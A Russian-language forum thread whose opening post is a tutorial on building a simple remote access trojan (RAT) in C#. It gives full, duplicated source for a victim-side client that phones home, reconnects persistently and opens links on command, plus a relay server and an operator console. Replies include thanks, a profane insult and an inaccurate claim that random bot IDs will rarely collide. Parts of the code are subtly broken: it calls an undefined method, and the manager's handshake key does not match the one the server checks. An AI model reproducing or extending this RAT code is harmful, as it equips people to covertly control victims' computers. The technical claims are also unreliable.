В этой теме хотел бы дать общее представление о том как можно реализовать собственный простой RAT. Важно: приведенный пример не является полноценной программой или заявлением на самое лучшее решение. Просто информация которая для кого-то может стать начальным ориентиром. Реализация будет через протокол TCP. Наш RAT будет состоять из 3 частей: Сам клиент нашего RATника который мы будем кидать жертве - он будет принимать команды с сервера и отсылать ответ если он понадобится. Менеджер - с него мы будем отправлять команды на сервер подключатся к нужной жертве. Сам сервер - он будет принимать и отсылать данные между клиентами и менеджером. Для начала напишем клиент: Код клиента. using System; using System.Diagnostics; using System.Threading; using System.Net; using System.Net.Sockets; using System.ComponentModel; namespace RAT { class Program { static private int _idClient; // id нашего клиента по которому мы будем подключатся static private string _identifier = "Bot"; // Этот ключ мы будем отправлять на сервер чтобы он знал что к нему подключается именно клиент RATника static public TcpClient _server = new TcpClient(); static private BinaryReader _reader; static private BinaryWriter _writer; static private NetworkStream _serverStream; static private Thread _threadListen; static void Main(string[] args) { _idClient = Properties.Settings.Default._idSlave; // Читаем ID из настроек нашего клиента if(_idClient == 0) //Если клиент на устройстве запускается в первый раз то его ID будет равно 0. В таком случае мы задаем ему рандомный ID и сохраняем ему в настройки { Random rand = new Random(); _idClient = rand.Next(0, 10000000); Properties.Settings.Default._idSlave = _idClient; Properties.Settings.Default.Save(); } Connect(); // Вызываем метод подключения Console.ReadLine(); } static public void Connect() { Console.WriteLine("Подключение"); try { if (!_server.Connected) { _server = new TcpClient(); _server.Connect("127.0.0.1", 1748); //Подключаемся к нашему серверу по IP и порту, в моём случае он 1748 _serverStream = _server.GetStream(); _writer = new BinaryWriter(_serverStream); _reader = new BinaryReader(_serverStream); _writer.Write(_identifier); //Отправляем ключ и ID на сервер _writer.Write(_idClient); // _writer.Flush(); _threadListen = new Thread(ListenServer); // Создаем новый поток в котором будем принимать данные с сервера _threadListen.Start(); } } catch { Thread.Sleep(3000); Connect(); } } static void ListenServer() { while (true) { try // На случай если пойдет что-то не так { _reader = new BinaryReader(_serverStream); //Принимает данные с сервера _writer = new BinaryWriter(_serverStream); //Отправляет данные на сервер string mesServer = _reader.ReadString(); //Читаем данные которые отправил сервер if (mesServer == "Open link") // Принимаем команду с сервера для открытии ссылки { string mesServerLink = _reader.ReadString(); // Принимаем саму ссылку OpenLink(mesServerLink); } } catch // Если к примеру потерянно соединение с сервером клиент пытается каждые 3 секунды подключится снова { Thread.Sleep(3000); Connect(); _threadListen.Abort(); } } } static void OpenLink(string _link) { try { Process.Start("http://"+_link); } catch { } } } } Код using System; using System.Diagnostics; using System.Threading; using System.Net; using System.Net.Sockets; using System.ComponentModel; namespace RAT { class Program { static private int _idClient; // id нашего клиента по которому мы будем подключатся static private string _identifier = "Bot"; // Этот ключ мы будем отправлять на сервер чтобы он знал что к нему подключается именно клиент RATника static public TcpClient _server = new TcpClient(); static private BinaryReader _reader; static private BinaryWriter _writer; static private NetworkStream _serverStream; static private Thread _threadListen; static void Main(string[] args) { _idClient = Properties.Settings.Default._idSlave; // Читаем ID из настроек нашего клиента if(_idClient == 0) //Если клиент на устройстве запускается в первый раз то его ID будет равно 0. В таком случае мы задаем ему рандомный ID и сохраняем ему в настройки { Random rand = new Random(); _idClient = rand.Next(0, 10000000); Properties.Settings.Default._idSlave = _idClient; Properties.Settings.Default.Save(); } Connect(); // Вызываем метод подключения Console.ReadLine(); } static public void Connect() { Console.WriteLine("Подключение"); try { if (!_server.Connected) { _server = new TcpClient(); _server.Connect("127.0.0.1", 1748); //Подключаемся к нашему серверу по IP и порту, в моём случае он 1748 _serverStream = _server.GetStream(); _writer = new BinaryWriter(_serverStream); _reader = new BinaryReader(_serverStream); _writer.Write(_identifier); //Отправляем ключ и ID на сервер _writer.Write(_idClient); // _writer.Flush(); _threadListen = new Thread(ListenServer); // Создаем новый поток в котором будем принимать данные с сервера _threadListen.Start(); } } catch { Thread.Sleep(3000); Connect(); } } static void ListenServer() { while (true) { try // На случай если пойдет что-то не так { _reader = new BinaryReader(_serverStream); //Принимает данные с сервера _writer = new BinaryWriter(_serverStream); //Отправляет данные на сервер string mesServer = _reader.ReadString(); //Читаем данные которые отправил сервер if (mesServer == "Open link") // Принимаем команду с сервера для открытии ссылки { string mesServerLink = _reader.ReadString(); // Принимаем саму ссылку OpenLink(mesServerLink); } } catch // Если к примеру потерянно соединение с сервером клиент пытается каждые 3 секунды подключится снова { Thread.Sleep(3000); Connect(); _threadListen.Abort(); } } } static void OpenLink(string _link) { try { Process.Start("http://"+_link); } catch { } } } } Код сервера Здесь нам нужно будет написать два класса using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net.Sockets; using System.Threading.Tasks; using System.Threading; using System.Diagnostics; using System.IO; namespace Server { class ClientObject //Класс нашего входящего подключения в который мы будем записывать данные { public string _botName = ""; public Random rand = new Random(); public int botId; public TcpClient client; public NetworkStream _managerStream; public BinaryWriter writerServer; public ClientObject(TcpClient tcpClient, NetworkStream __managerStream) { client = tcpClient; _managerStream = __managerStream; } public void Process() { Console.WriteLine(" >>>> " + "Клиент начал работу" + " Его ID: " + botId.ToString()); NetworkStream stream = null; NetworkStream streamManager = null; try { stream = client.GetStream(); writerServer = new BinaryWriter(stream); } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { Console.WriteLine(" >>>> " + "Закрытие клиента."); if (stream != null) stream.Close(); if (client != null) client.Close(); } } public string WriteID() { Console.WriteLine(" >>>> " + botId.ToString()); return botId.ToString(); } } } Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net.Sockets; using System.Threading.Tasks; using System.Threading; using System.Diagnostics; using System.IO; namespace Server { class ClientObject //Класс нашего входящего подключения в который мы будем записывать данные { public string _botName = ""; public Random rand = new Random(); public int botId; public TcpClient client; public NetworkStream _managerStream; public BinaryWriter writerServer; public ClientObject(TcpClient tcpClient, NetworkStream __managerStream) { client = tcpClient; _managerStream = __managerStream; } public void Process() { Console.WriteLine(" >>>> " + "Клиент начал работу" + " Его ID: " + botId.ToString()); NetworkStream stream = null; NetworkStream streamManager = null; try { stream = client.GetStream(); writerServer = new BinaryWriter(stream); } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { Console.WriteLine(" >>>> " + "Закрытие клиента."); if (stream != null) stream.Close(); if (client != null) client.Close(); } } public string WriteID() { Console.WriteLine(" >>>> " + botId.ToString()); return botId.ToString(); } } } using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Threading; using System.Net.Sockets; using System.Net; using System.IO; namespace Server { class Program { static TcpListener _listener = new TcpListener(1748); // Прослушиваем нужный нам порт static TcpClient _client; static TcpClient _managerClient = new TcpClient(); // Сюда мы будем записывать наш менеджер static BinaryReader _managerReader; // Принимаем и отправляем данные с менеджера static BinaryWriter _managerWriter; // static BinaryReader _clientReader; static NetworkStream _streamClient; static NetworkStream _streamManager; static List<ClientObject> _clientsThread = new List<ClientObject>(); // Список наших клиентов static TcpClient _connectBot; static ClientObject _connectBotClient; static string _clientType; static int _botCount; static void WriteServer(string _text, ConsoleColor _color) // Метод которые окрашивает строчки консоли в нужный нам цвет { Console.ForegroundColor = _color; Console.WriteLine(" >> " + _text); Console.ResetColor(); } static void Main(string[] args) { _listener.Start(); // Запускаем прослушку входящих соединений WriteServer("Старт сервера.", ConsoleColor.White); try { WriteServer("Ожидание подключений.", ConsoleColor.White); while (true) { _client = _listener.AcceptTcpClient(); // Отлавливаем подключение WriteServer("Ожидается одно подключение.", ConsoleColor.White); _streamClient = _client.GetStream(); _clientReader = new BinaryReader(_streamClient); _clientType = _clientReader.ReadString(); //Принимает ключ клиента if(_clientType == "Manager") { DateTime _time = DateTime.Now; WriteServer("Менеджер подключен.", ConsoleColor.Green); Console.WriteLine("{0:G}", _time); _streamManager = _streamClient; //Записываем поток менеджера в отведенное ему место _managerClient = _client; Thread threadServer = new Thread(ListenerManager); // Создаем новый поток для прослушивания менеджера if (!threadServer.IsAlive) // Если прослушка не работает ещё то запускаем, если работает то не запускаем { Console.Write("Запуск прослушки"); threadServer.Start(); } } if(_clientType == "Bot") { DateTime _time = DateTime.Now; WriteServer("Бот подключен.", ConsoleColor.Green); Console.WriteLine("{0:G}", _time); } try { ClientObject clientObject = new ClientObject(_client, _streamManager); //Создаем экземпляр класса в котором будем хранить поток и TcpClient нашего входящего подключения _clientsThread.Add(clientObject); //Добавляем в список if (_clientType == "Manager") { clientObject._botName = "Менеджер"; } if (_clientType == "Bot") // Если входящий клиент является ботом то ловим его id который он отправляет и задаем имя этому экземпляру класса { clientObject._botName = "Бот"; clientObject.botId = _clientReader.ReadInt32(); } Thread clientThread = new Thread(new ThreadStart(clientObject.Process)); // Запускам сам клиент clientThread.Start(); _botCount++; } catch { Console.WriteLine("Что-то явно подключено"); } } } catch (Exception ex) { Console.WriteLine("Отключен клиент"); } finally { if (_listener != null) _listener.Stop(); } } static void ListenerManager() { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Старт прослушивания менеджера."); Console.ResetColor(); while (true) { if (_streamManager != null) { try { _managerWriter = new BinaryWriter(_streamManager); _managerReader = new BinaryReader(_streamManager); string message = _managerReader.ReadString(); WriteServer("Сообщение от менеджера: " + message, ConsoleColor.Yellow); if(message == "Refresh") // обновляем список ботов { _managerWriter.Write(_botCount); for (int i = 0; i < _botCount;i++) { _managerWriter.Write(_clientsThread[i].botId.ToString()); } } if (message == "Bot List") // Выводим список ботов { WriteServer("Список ботов.", ConsoleColor.White); foreach (ClientObject thread in _clientsThread) { if (thread.isActive()) // Проверяем работает ли клиент { try { if (thread._botName != "") { string mesName = thread._botName; } _managerWriter.Write(thread.WriteID() + " > " + thread._botName); } catch { Console.WriteLine(" E>> " + "Менеджер не обнаружен"); } } else { _clientsThread.Remove(thread);} } } if(message == "Bot Connect") // Этой командой мы подключаемся к конкретному клиенту чтобы в последующем отправлять ему команды { //_managerWriter.Write("Введите ID или имя бота."); WriteServer("Прием Id",ConsoleColor.White); message = _managerReader.ReadString(); // Тут мы принимаем от менеджера ID который отправили WriteServer("Id принят", ConsoleColor.Green); foreach (ClientObject thred in _clientsThread) { if (thred.botId.ToString() == message || thred._botName == message) { _connectBot = thred.client; _connectBotClient = thred; _managerWriter.Write("Successful"); } else { } } } if(message == "Open link") // Открываем нужную нам ссылку { WriteServer("Ожидание ссылки", ConsoleColor.Yellow); NetworkStream _streamBot = _connectBot.GetStream(); BinaryWriter _botWriter = new BinaryWriter(_streamBot); _botWriter.Write(message); WriteServer("Ввод ссылки", ConsoleColor.Yellow); message = _managerReader.ReadString(); _botWriter.Write(message); WriteServer("Ссылка отправлена", ConsoleColor.Green); _managerWriter.Write("Link load"); } } catch { } } Task.Delay(10); } } } } Код using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Threading; using System.Net.Sockets; using System.Net; using System.IO; namespace Server { class Program { static TcpListener _listener = new TcpListener(1748); // Прослушиваем нужный нам порт static TcpClient _client; static TcpClient _managerClient = new TcpClient(); // Сюда мы будем записывать наш менеджер static BinaryReader _managerReader; // Принимаем и отправляем данные с менеджера static BinaryWriter _managerWriter; // static BinaryReader _clientReader; static NetworkStream _streamClient; static NetworkStream _streamManager; static List<ClientObject> _clientsThread = new List<ClientObject>(); // Список наших клиентов static TcpClient _connectBot; static ClientObject _connectBotClient; static string _clientType; static int _botCount; static void WriteServer(string _text, ConsoleColor _color) // Метод которые окрашивает строчки консоли в нужный нам цвет { Console.ForegroundColor = _color; Console.WriteLine(" >> " + _text); Console.ResetColor(); } static void Main(string[] args) { _listener.Start(); // Запускаем прослушку входящих соединений WriteServer("Старт сервера.", ConsoleColor.White); try { WriteServer("Ожидание подключений.", ConsoleColor.White); while (true) { _client = _listener.AcceptTcpClient(); // Отлавливаем подключение WriteServer("Ожидается одно подключение.", ConsoleColor.White); _streamClient = _client.GetStream(); _clientReader = new BinaryReader(_streamClient); _clientType = _clientReader.ReadString(); //Принимает ключ клиента if(_clientType == "Manager") { DateTime _time = DateTime.Now; WriteServer("Менеджер подключен.", ConsoleColor.Green); Console.WriteLine("{0:G}", _time); _streamManager = _streamClient; //Записываем поток менеджера в отведенное ему место _managerClient = _client; Thread threadServer = new Thread(ListenerManager); // Создаем новый поток для прослушивания менеджера if (!threadServer.IsAlive) // Если прослушка не работает ещё то запускаем, если работает то не запускаем { Console.Write("Запуск прослушки"); threadServer.Start(); } } if(_clientType == "Bot") { DateTime _time = DateTime.Now; WriteServer("Бот подключен.", ConsoleColor.Green); Console.WriteLine("{0:G}", _time); } try { ClientObject clientObject = new ClientObject(_client, _streamManager); //Создаем экземпляр класса в котором будем хранить поток и TcpClient нашего входящего подключения _clientsThread.Add(clientObject); //Добавляем в список if (_clientType == "Manager") { clientObject._botName = "Менеджер"; } if (_clientType == "Bot") // Если входящий клиент является ботом то ловим его id который он отправляет и задаем имя этому экземпляру класса { clientObject._botName = "Бот"; clientObject.botId = _clientReader.ReadInt32(); } Thread clientThread = new Thread(new ThreadStart(clientObject.Process)); // Запускам сам клиент clientThread.Start(); _botCount++; } catch { Console.WriteLine("Что-то явно подключено"); } } } catch (Exception ex) { Console.WriteLine("Отключен клиент"); } finally { if (_listener != null) _listener.Stop(); } } static void ListenerManager() { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Старт прослушивания менеджера."); Console.ResetColor(); while (true) { if (_streamManager != null) { try { _managerWriter = new BinaryWriter(_streamManager); _managerReader = new BinaryReader(_streamManager); string message = _managerReader.ReadString(); WriteServer("Сообщение от менеджера: " + message, ConsoleColor.Yellow); if(message == "Refresh") // обновляем список ботов { _managerWriter.Write(_botCount); for (int i = 0; i < _botCount;i++) { _managerWriter.Write(_clientsThread[i].botId.ToString()); } } if (message == "Bot List") // Выводим список ботов { WriteServer("Список ботов.", ConsoleColor.White); foreach (ClientObject thread in _clientsThread) { if (thread.isActive()) // Проверяем работает ли клиент { try { if (thread._botName != "") { string mesName = thread._botName; } _managerWriter.Write(thread.WriteID() + " > " + thread._botName); } catch { Console.WriteLine(" E>> " + "Менеджер не обнаружен"); } } else { _clientsThread.Remove(thread);} } } if(message == "Bot Connect") // Этой командой мы подключаемся к конкретному клиенту чтобы в последующем отправлять ему команды { //_managerWriter.Write("Введите ID или имя бота."); WriteServer("Прием Id",ConsoleColor.White); message = _managerReader.ReadString(); // Тут мы принимаем от менеджера ID который отправили WriteServer("Id принят", ConsoleColor.Green); foreach (ClientObject thred in _clientsThread) { if (thred.botId.ToString() == message || thred._botName == message) { _connectBot = thred.client; _connectBotClient = thred; _managerWriter.Write("Successful"); } else { } } } if(message == "Open link") // Открываем нужную нам ссылку { WriteServer("Ожидание ссылки", ConsoleColor.Yellow); NetworkStream _streamBot = _connectBot.GetStream(); BinaryWriter _botWriter = new BinaryWriter(_streamBot); _botWriter.Write(message); WriteServer("Ввод ссылки", ConsoleColor.Yellow); message = _managerReader.ReadString(); _botWriter.Write(message); WriteServer("Ссылка отправлена", ConsoleColor.Green); _managerWriter.Write("Link load"); } } catch { } } Task.Delay(10); } } } } Сам сервер нужно поставить на VPS\VDS и открыть порты, или же открыть порты на своем устройстве. Код менеджера здесь самый маленький по масштабу. Код Менеджера using System; using System.Threading; using System.Net.Sockets; using System.IO; namespace Manager { class Program { static TcpClient client = new TcpClient(); static BinaryReader reader = null; static BinaryWriter writerN = null; protected internal NetworkStream Stream { get; private set; } static string _clientType = "ManagerType"; // Задаем наш ключ static void Main(string[] args) { Console.WriteLine("Подключение к серверу"); client.Connect("127.0.0.1", 1748); // Подключаемся к серверу Console.WriteLine("Сервер подключен"); NetworkStream stream = client.GetStream(); writerN = new BinaryWriter(stream); reader = new BinaryReader(stream); _clientType = "ManagerType"; writerN.Write(_clientType); writerN.Flush(); Console.WriteLine("Индификация клиента проведена"); Console.WriteLine("Ожидание команд ..."); Thread thread = new Thread(Listener);// Создаем новый поток в котором будем принимать данные с сервера thread.Start(); Thread threadWriter = new Thread(Writer); // Создаем новый поток в котором будем отправлять данные на сервер threadWriter.Start(); } static public void Writer() { while (true) { string message = ""; message = Console.ReadLine(); writerN.Write(message); writerN.Flush(); } } static public void Listener() { while (true) { try { string i = reader.ReadString(); Console.WriteLine(i); } catch { } } } } } Код using System; using System.Threading; using System.Net.Sockets; using System.IO; namespace Manager { class Program { static TcpClient client = new TcpClient(); static BinaryReader reader = null; static BinaryWriter writerN = null; protected internal NetworkStream Stream { get; private set; } static string _clientType = "ManagerType"; // Задаем наш ключ static void Main(string[] args) { Console.WriteLine("Подключение к серверу"); client.Connect("127.0.0.1", 1748); // Подключаемся к серверу Console.WriteLine("Сервер подключен"); NetworkStream stream = client.GetStream(); writerN = new BinaryWriter(stream); reader = new BinaryReader(stream); _clientType = "ManagerType"; writerN.Write(_clientType); writerN.Flush(); Console.WriteLine("Индификация клиента проведена"); Console.WriteLine("Ожидание команд ..."); Thread thread = new Thread(Listener);// Создаем новый поток в котором будем принимать данные с сервера thread.Start(); Thread threadWriter = new Thread(Writer); // Создаем новый поток в котором будем отправлять данные на сервер threadWriter.Start(); } static public void Writer() { while (true) { string message = ""; message = Console.ReadLine(); writerN.Write(message); writerN.Flush(); } } static public void Listener() { while (true) { try { string i = reader.ReadString(); Console.WriteLine(i); } catch { } } } } } Здесь описана только простейшая функция для открытия нужной ссылки. При желании функционал можно дополнить, но важно понимать что лучше перейти на формы ибо с консолями при наращивании функционала работать станет неудобно.
Вот уже (примерно) два года учусь c# самостоятельно и всегда не любил (как-то тяжело воспринималось, не переваривалось) заходить в тему клиент-серверных приложений, а очень хотелось для себя попытаться создать по приколу собственный RAT, но так сложилось, что знаний мне не хватает. Тема очень полезная и предельно простая (по крайней мере для меня, тут каждому своё), благодарю автора.
я сразу увидел лайк оставил. Остаётся только Ljopv91rdewr за хейт нахуй послать. Не нравится тцп, хуярь ботнет. Иди короче пасть твой реборн ******
Создается ощущение, что когда-то, у тебя будет пересечение id, из-за того что оно рандомом берется, и у тебя может быть два slave с одним id)
Damager2282, Шанс того что 2 клиента будут с одним id крайне мал учитывая что он задается от 0 до 10000000 Попробуй написать программу которая будет выбирать рандомно число от 0 до 10000000 и останови её когда появятся два одинаковых Итераций будет очень много